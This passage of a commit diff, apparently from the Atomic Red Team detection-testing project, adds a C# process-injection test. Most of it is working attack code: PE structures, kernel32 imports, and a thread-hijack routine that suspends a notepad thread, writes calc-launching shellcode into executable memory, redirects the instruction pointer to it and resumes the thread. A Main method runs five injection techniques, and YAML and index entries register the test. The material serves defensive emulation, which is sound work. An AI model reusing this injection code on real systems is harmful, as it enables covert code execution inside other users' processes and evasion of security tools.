public UInt16 e_res2_5; // Reserved words
|
||||
public UInt16 e_res2_6; // Reserved words
|
||||
public UInt16 e_res2_7; // Reserved words
|
||||
public UInt16 e_res2_8; // Reserved words
|
||||
public UInt16 e_res2_9; // Reserved words
|
||||
public UInt32 e_lfanew; // File address of new exe header
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_DATA_DIRECTORY
|
||||
{
|
||||
public UInt32 VirtualAddress;
|
||||
public UInt32 Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER32
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public Byte MajorLinkerVersion;
|
||||
public Byte MinorLinkerVersion;
|
||||
public UInt32 SizeOfCode;
|
||||
public UInt32 SizeOfInitializedData;
|
||||
public UInt32 SizeOfUninitializedData;
|
||||
public UInt32 AddressOfEntryPoint;
|
||||
public UInt32 BaseOfCode;
|
||||
public UInt32 BaseOfData;
|
||||
public UInt32 ImageBase;
|
||||
public UInt32 SectionAlignment;
|
||||
public UInt32 FileAlignment;
|
||||
public UInt16 MajorOperatingSystemVersion;
|
||||
public UInt16 MinorOperatingSystemVersion;
|
||||
public UInt16 MajorImageVersion;
|
||||
public UInt16 MinorImageVersion;
|
||||
public UInt16 MajorSubsystemVersion;
|
||||
public UInt16 MinorSubsystemVersion;
|
||||
public UInt32 Win32VersionValue;
|
||||
public UInt32 SizeOfImage;
|
||||
public UInt32 SizeOfHeaders;
|
||||
public UInt32 CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public UInt32 SizeOfStackReserve;
|
||||
public UInt32 SizeOfStackCommit;
|
||||
public UInt32 SizeOfHeapReserve;
|
||||
public UInt32 SizeOfHeapCommit;
|
||||
public UInt32 LoaderFlags;
|
||||
public UInt32 NumberOfRvaAndSizes;
|
||||
|
||||
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||
public IMAGE_DATA_DIRECTORY Debug;
|
||||
public IMAGE_DATA_DIRECTORY Architecture;
|
||||
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||
public IMAGE_DATA_DIRECTORY IAT;
|
||||
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||
public IMAGE_DATA_DIRECTORY Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER64
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public Byte MajorLinkerVersion;
|
||||
public Byte MinorLinkerVersion;
|
||||
public UInt32 SizeOfCode;
|
||||
public UInt32 SizeOfInitializedData;
|
||||
public UInt32 SizeOfUninitializedData;
|
||||
public UInt32 AddressOfEntryPoint;
|
||||
public UInt32 BaseOfCode;
|
||||
public UInt64 ImageBase;
|
||||
public UInt32 SectionAlignment;
|
||||
public UInt32 FileAlignment;
|
||||
public UInt16 MajorOperatingSystemVersion;
|
||||
public UInt16 MinorOperatingSystemVersion;
|
||||
public UInt16 MajorImageVersion;
|
||||
public UInt16 MinorImageVersion;
|
||||
public UInt16 MajorSubsystemVersion;
|
||||
public UInt16 MinorSubsystemVersion;
|
||||
public UInt32 Win32VersionValue;
|
||||
public UInt32 SizeOfImage;
|
||||
public UInt32 SizeOfHeaders;
|
||||
public UInt32 CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public UInt64 SizeOfStackReserve;
|
||||
public UInt64 SizeOfStackCommit;
|
||||
public UInt64 SizeOfHeapReserve;
|
||||
public UInt64 SizeOfHeapCommit;
|
||||
public UInt32 LoaderFlags;
|
||||
public UInt32 NumberOfRvaAndSizes;
|
||||
|
||||
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||
public IMAGE_DATA_DIRECTORY Debug;
|
||||
public IMAGE_DATA_DIRECTORY Architecture;
|
||||
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||
public IMAGE_DATA_DIRECTORY IAT;
|
||||
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||
public IMAGE_DATA_DIRECTORY Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_FILE_HEADER
|
||||
{
|
||||
public UInt16 Machine;
|
||||
public UInt16 NumberOfSections;
|
||||
public UInt32 TimeDateStamp;
|
||||
public UInt32 PointerToSymbolTable;
|
||||
public UInt32 NumberOfSymbols;
|
||||
public UInt16 SizeOfOptionalHeader;
|
||||
public UInt16 Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
public struct IMAGE_SECTION_HEADER
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public char[] Name;
|
||||
[FieldOffset(8)]
|
||||
public UInt32 VirtualSize;
|
||||
[FieldOffset(12)]
|
||||
public UInt32 VirtualAddress;
|
||||
[FieldOffset(16)]
|
||||
public UInt32 SizeOfRawData;
|
||||
[FieldOffset(20)]
|
||||
public UInt32 PointerToRawData;
|
||||
[FieldOffset(24)]
|
||||
public UInt32 PointerToRelocations;
|
||||
[FieldOffset(28)]
|
||||
public UInt32 PointerToLinenumbers;
|
||||
[FieldOffset(32)]
|
||||
public UInt16 NumberOfRelocations;
|
||||
[FieldOffset(34)]
|
||||
public UInt16 NumberOfLinenumbers;
|
||||
[FieldOffset(36)]
|
||||
public DataSectionFlags Characteristics;
|
||||
|
||||
public string Section
|
||||
{
|
||||
get { return new string(Name); }
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_IMPORT_DESCRIPTOR
|
||||
{
|
||||
public uint OriginalFirstThunk;
|
||||
public uint TimeDateStamp;
|
||||
public uint ForwarderChain;
|
||||
public uint Name;
|
||||
public uint FirstThunk;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_BASE_RELOCATION
|
||||
{
|
||||
public uint VirtualAdress;
|
||||
public uint SizeOfBlock;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum DataSectionFlags : uint
|
||||
{
|
||||
|
||||
Stub = 0x00000000,
|
||||
|
||||
}
|
||||
|
||||
public static T FromBinaryReader<T>(BinaryReader reader)
|
||||
{
|
||||
// Read in a byte array
|
||||
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
|
||||
|
||||
// Pin the managed memory while, copy it out the data, then unpin it
|
||||
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
|
||||
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
|
||||
handle.Free();
|
||||
|
||||
return theStructure;
|
||||
}
|
||||
|
||||
|
||||
public static bool Is32BitHeader(IMAGE_FILE_HEADER fileHeader)
|
||||
{
|
||||
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
|
||||
return (IMAGE_FILE_32BIT_MACHINE & fileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
|
||||
}
|
||||
|
||||
|
||||
// Process privileges
|
||||
public const int PROCESS_CREATE_THREAD = 0x0002;
|
||||
public const int PROCESS_QUERY_INFORMATION = 0x0400;
|
||||
public const int PROCESS_VM_OPERATION = 0x0008;
|
||||
public const int PROCESS_VM_WRITE = 0x0020;
|
||||
public const int PROCESS_VM_READ = 0x0010;
|
||||
public const int PROCESS_ALL_ACCESS = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
|
||||
|
||||
// Memory permissions
|
||||
public const uint MEM_COMMIT = 0x00001000;
|
||||
public const uint MEM_RESERVE = 0x00002000;
|
||||
public const uint PAGE_READWRITE = 0x04;
|
||||
public const uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
}
|
||||
|
||||
public class ThreadHijack
|
||||
{
|
||||
// Import API Functions
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern uint SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Auto,SetLastError = true)]
|
||||
static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
|
||||
|
||||
|
||||
// Process privileges
|
||||
const int PROCESS_CREATE_THREAD = 0x0002;
|
||||
const int PROCESS_QUERY_INFORMATION = 0x0400;
|
||||
const int PROCESS_VM_OPERATION = 0x0008;
|
||||
const int PROCESS_VM_WRITE = 0x0020;
|
||||
const int PROCESS_VM_READ = 0x0010;
|
||||
|
||||
// Memory permissions
|
||||
const uint MEM_COMMIT = 0x00001000;
|
||||
const uint MEM_RESERVE = 0x00002000;
|
||||
const uint PAGE_READWRITE = 4;
|
||||
const uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
|
||||
[Flags]
|
||||
public enum ThreadAccess : int
|
||||
{
|
||||
TERMINATE = (0x0001),
|
||||
SUSPEND_RESUME = (0x0002),
|
||||
GET_CONTEXT = (0x0008),
|
||||
SET_CONTEXT = (0x0010),
|
||||
SET_INFORMATION = (0x0020),
|
||||
QUERY_INFORMATION = (0x0040),
|
||||
SET_THREAD_TOKEN = (0x0080),
|
||||
IMPERSONATE = (0x0100),
|
||||
DIRECT_IMPERSONATION = (0x0200),
|
||||
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
|
||||
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
|
||||
}
|
||||
|
||||
public enum CONTEXT_FLAGS : uint
|
||||
{
|
||||
CONTEXT_i386 = 0x10000,
|
||||
CONTEXT_i486 = 0x10000, // same as i386
|
||||
CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP
|
||||
CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI
|
||||
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS
|
||||
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state
|
||||
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7
|
||||
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions
|
||||
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,
|
||||
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
|
||||
}
|
||||
|
||||
// x86 float save
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct FLOATING_SAVE_AREA
|
||||
{
|
||||
public uint ControlWord;
|
||||
public uint StatusWord;
|
||||
public uint TagWord;
|
||||
public uint ErrorOffset;
|
||||
public uint ErrorSelector;
|
||||
public uint DataOffset;
|
||||
public uint DataSelector;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
|
||||
public byte[] RegisterArea;
|
||||
public uint Cr0NpxState;
|
||||
}
|
||||
|
||||
// x86 context structure (not used in this example)
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CONTEXT
|
||||
{
|
||||
public uint ContextFlags; //set this to an appropriate value
|
||||
// Retrieved by CONTEXT_DEBUG_REGISTERS
|
||||
public uint Dr0;
|
||||
public uint Dr1;
|
||||
public uint Dr2;
|
||||
public uint Dr3;
|
||||
public uint Dr6;
|
||||
public uint Dr7;
|
||||
// Retrieved by CONTEXT_FLOATING_POINT
|
||||
public FLOATING_SAVE_AREA FloatSave;
|
||||
// Retrieved by CONTEXT_SEGMENTS
|
||||
public uint SegGs;
|
||||
public uint SegFs;
|
||||
public uint SegEs;
|
||||
public uint SegDs;
|
||||
// Retrieved by CONTEXT_INTEGER
|
||||
public uint Edi;
|
||||
public uint Esi;
|
||||
public uint Ebx;
|
||||
public uint Edx;
|
||||
public uint Ecx;
|
||||
public uint Eax;
|
||||
// Retrieved by CONTEXT_CONTROL
|
||||
public uint Ebp;
|
||||
public uint Eip;
|
||||
public uint SegCs;
|
||||
public uint EFlags;
|
||||
public uint Esp;
|
||||
public uint SegSs;
|
||||
// Retrieved by CONTEXT_EXTENDED_REGISTERS
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
|
||||
public byte[] ExtendedRegisters;
|
||||
}
|
||||
|
||||
// x64 m128a
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct M128A
|
||||
{
|
||||
public ulong High;
|
||||
public long Low;
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("High:{0}, Low:{1}", this.High, this.Low);
|
||||
}
|
||||
}
|
||||
|
||||
// x64 save format
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
||||
public struct XSAVE_FORMAT64
|
||||
{
|
||||
public ushort ControlWord;
|
||||
public ushort StatusWord;
|
||||
public byte TagWord;
|
||||
public byte Reserved1;
|
||||
public ushort ErrorOpcode;
|
||||
public uint ErrorOffset;
|
||||
public ushort ErrorSelector;
|
||||
public ushort Reserved2;
|
||||
public uint DataOffset;
|
||||
public ushort DataSelector;
|
||||
public ushort Reserved3;
|
||||
public uint MxCsr;
|
||||
public uint MxCsr_Mask;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public M128A[] FloatRegisters;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
|
||||
public M128A[] XmmRegisters;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
|
||||
public byte[] Reserved4;
|
||||
}
|
||||
|
||||
// x64 context structure
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 16)]
|
||||
public struct CONTEXT64
|
||||
{
|
||||
public ulong P1Home;
|
||||
public ulong P2Home;
|
||||
public ulong P3Home;
|
||||
public ulong P4Home;
|
||||
public ulong P5Home;
|
||||
public ulong P6Home;
|
||||
|
||||
public CONTEXT_FLAGS ContextFlags;
|
||||
public uint MxCsr;
|
||||
|
||||
public ushort SegCs;
|
||||
public ushort SegDs;
|
||||
public ushort SegEs;
|
||||
public ushort SegFs;
|
||||
public ushort SegGs;
|
||||
public ushort SegSs;
|
||||
public uint EFlags;
|
||||
|
||||
public ulong Dr0;
|
||||
public ulong Dr1;
|
||||
public ulong Dr2;
|
||||
public ulong Dr3;
|
||||
public ulong Dr6;
|
||||
public ulong Dr7;
|
||||
|
||||
public ulong Rax;
|
||||
public ulong Rcx;
|
||||
public ulong Rdx;
|
||||
public ulong Rbx;
|
||||
public ulong Rsp;
|
||||
public ulong Rbp;
|
||||
public ulong Rsi;
|
||||
public ulong Rdi;
|
||||
public ulong R8;
|
||||
public ulong R9;
|
||||
public ulong R10;
|
||||
public ulong R11;
|
||||
public ulong R12;
|
||||
public ulong R13;
|
||||
public ulong R14;
|
||||
public ulong R15;
|
||||
public ulong Rip;
|
||||
|
||||
public XSAVE_FORMAT64 DUMMYUNIONNAME;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
|
||||
public M128A[] VectorRegister;
|
||||
public ulong VectorControl;
|
||||
|
||||
public ulong DebugControl;
|
||||
public ulong LastBranchToRip;
|
||||
public ulong LastBranchFromRip;
|
||||
public ulong LastExceptionToRip;
|
||||
public ulong LastExceptionFromRip;
|
||||
}
|
||||
|
||||
public static int Inject()
|
||||
{
|
||||
// Get target process by name
|
||||
|
||||
Process targetProcess = Process.GetProcessesByName("notepad")[0];
|
||||
|
||||
|
||||
// Open and Suspend first thread
|
||||
ProcessThread pT = targetProcess.Threads[0];
|
||||
|
||||
IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);
|
||||
SuspendThread(pOpenThread);
|
||||
|
||||
// Get thread context
|
||||
CONTEXT64 tContext = new CONTEXT64();
|
||||
tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;
|
||||
if (GetThreadContext(pOpenThread, ref tContext))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
// WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
|
||||
// Compiled with:
|
||||
// nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
|
||||
byte[] payload = new byte[112] {
|
||||
0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
|
||||
};
|
||||
|
||||
// Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
|
||||
byte[] mov_rax = new byte[2] {
|
||||
0x48, 0xb8
|
||||
};
|
||||
byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
|
||||
byte[] jmp_rax = new byte[2] {
|
||||
0xff, 0xe0
|
||||
};
|
||||
|
||||
// Build shellcode
|
||||
byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
|
||||
payload.CopyTo(shellcode, 0);
|
||||
mov_rax.CopyTo(shellcode, payload.Length);
|
||||
jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length);
|
||||
jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length);
|
||||
|
||||
// OpenProcess to allocate memory
|
||||
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
|
||||
|
||||
// Allocate memory for shellcode within process
|
||||
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// Write shellcode within process
|
||||
UIntPtr bytesWritten;
|
||||
bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
|
||||
|
||||
// Read memory to view shellcode
|
||||
int bytesRead = 0;
|
||||
byte[] buffer = new byte[shellcode.Length];
|
||||
ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
|
||||
|
||||
// Set context EIP to location of shellcode
|
||||
tContext.Rip=(ulong)allocMemAddress.ToInt64();
|
||||
|
||||
// Apply new context to suspended thread
|
||||
if(!SetThreadContext(pOpenThread, ref tContext))
|
||||
{
|
||||
|
||||
}
|
||||
if (GetThreadContext(pOpenThread, ref tContext))
|
||||
{
|
||||
|
||||
}
|
||||
// Resume the thread, redirecting execution to shellcode, then back to original process
|
||||
|
||||
ResumeThread(pOpenThread);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
public class Program
|
||||
{
|
||||
public static void Main()
|
||||
{
|
||||
//Test One:
|
||||
Console.WriteLine("{0}", "#1 ProcessInject");
|
||||
ProcessInject.Inject();
|
||||
Console.WriteLine("{0}", "ProcessInject Complete");
|
||||
//Test Two:
|
||||
Console.WriteLine("{0}", "#2 ApcInjectionAnyProcess");
|
||||
ApcInjectionAnyProcess.Inject();
|
||||
Console.WriteLine("{0}", "ApcInjectionAnyProcess Complete");
|
||||
//Test Three:
|
||||
Console.WriteLine("{0}", "#3 ApcInjectionNewProcess");
|
||||
ApcInjectionNewProcess.Inject();
|
||||
Console.WriteLine("{0}", "ApcInjectionNewProcess Complete");
|
||||
//Test Four:
|
||||
Console.WriteLine("{0}", "#4 IatInjection");
|
||||
IatInjection.Inject();
|
||||
Console.WriteLine("{0}", "IatInjection Complete");
|
||||
//Test Five:
|
||||
Console.WriteLine("{0}", "#5 ThreadHijack");
|
||||
ThreadHijack.Inject();
|
||||
Console.WriteLine("{0}", "ThreadHijack Complete ");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -287,6 +287,7 @@
|
||||
- Atomic Test #1: Process Injection via mavinject.exe [windows]
|
||||
- Atomic Test #2: Process Injection via PowerSploit [windows]
|
||||
- Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux]
|
||||
- Atomic Test #4: Process Injection via C# [windows]
|
||||
- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1121 Regsvcs/Regasm](./T1121/T1121.md)
|
||||
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
|
||||
@@ -373,6 +374,7 @@
|
||||
- Atomic Test #1: Process Injection via mavinject.exe [windows]
|
||||
- Atomic Test #2: Process Injection via PowerSploit [windows]
|
||||
- Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux]
|
||||
- Atomic Test #4: Process Injection via C# [windows]
|
||||
- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1053 Scheduled Task](./T1053/T1053.md)
|
||||
- Atomic Test #1: At.exe Scheduled task [windows]
|
||||
|
||||
@@ -7942,6 +7942,26 @@ defense-evasion:
|
||||
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
|
||||
|
||||
'
|
||||
- name: Process Injection via C#
|
||||
description: |
|
||||
Process Injection using C#
|
||||
reference: https://github.com/pwndizzle/c-sharp-memory-injection
|
||||
Excercises Five Techniques
|
||||
1. Process injection
|
||||
2. ApcInjectionAnyProcess
|
||||
3. ApcInjectionNewProcess
|
||||
4. IatInjection
|
||||
5. ThreadHijack
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
exe_binary:
|
||||
description: Output Binary
|
||||
type: Path
|
||||
default: T1055.exe
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: ".\\bin\\#{exe_binary}\n"
|
||||
T1121:
|
||||
technique:
|
||||
id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302
|
||||
@@ -10626,6 +10646,26 @@ privilege-escalation:
|
||||
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
|
||||
|
||||
'
|
||||
- name: Process Injection via C#
|
||||
description: |
|
||||
Process Injection using C#
|
||||
reference: https://github.com/pwndizzle/c-sharp-memory-injection
|
||||
Excercises Five Techniques
|
||||
1. Process injection
|
||||
2. ApcInjectionAnyProcess
|
||||
3. ApcInjectionNewProcess
|
||||
4. IatInjection
|
||||
5. ThreadHijack
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
exe_binary:
|
||||
description: Output Binary
|
||||
type: Path
|
||||
default: T1055.exe
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: ".\\bin\\#{exe_binary}\n"
|
||||
T1053:
|
||||
technique:
|
||||
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
|
||||
|
||||
@@ -92,6 +92,7 @@
|
||||
- [T1055 Process Injection](./T1055/T1055.md)
|
||||
- Atomic Test #1: Process Injection via mavinject.exe [windows]
|
||||
- Atomic Test #2: Process Injection via PowerSploit [windows]
|
||||
- Atomic Test #4: Process Injection via C# [windows]
|
||||
- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1121 Regsvcs/Regasm](./T1121/T1121.md)
|
||||
- Atomic Test #1: Regasm Uninstall Method Call Test [windows]
|
||||
@@ -163,6 +164,7 @@
|
||||
- [T1055 Process Injection](./T1055/T1055.md)
|
||||
- Atomic Test #1: Process Injection via mavinject.exe [windows]
|
||||
- Atomic Test #2: Process Injection via PowerSploit [windows]
|
||||
- Atomic Test #4: Process Injection via C# [windows]
|
||||
- T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
|
||||
- [T1053 Scheduled Task](./T1053/T1053.md)
|
||||
- Atomic Test #1: At.exe Scheduled task [windows]
|
||||
|
||||
Reference in New Issue
Block a user